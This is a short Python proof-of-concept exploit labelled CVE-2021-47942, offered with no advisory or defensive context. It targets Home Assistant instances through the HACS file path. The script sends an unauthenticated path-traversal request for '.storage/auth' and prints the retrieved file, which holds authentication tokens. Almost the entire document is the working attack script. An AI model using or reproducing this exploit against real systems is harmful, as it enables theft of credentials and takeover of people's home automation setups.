CVE-2021-47942

import requests # Target URL of the vulnerable Home Assistant instance target_url = "http://<TARGET_IP>:8123" # The vulnerable endpoint allows path traversal to read sensitive files # Payload attempts to access the .storage/auth file which contains tokens exploit_path = "/hacsfiles/../.storage/auth" full_url = target_url + exploit_path print(f"[+] Attempting to exploit: {full_url}") try: # Send GET request without authentication response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Success! Sensitive file content retrieved:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")

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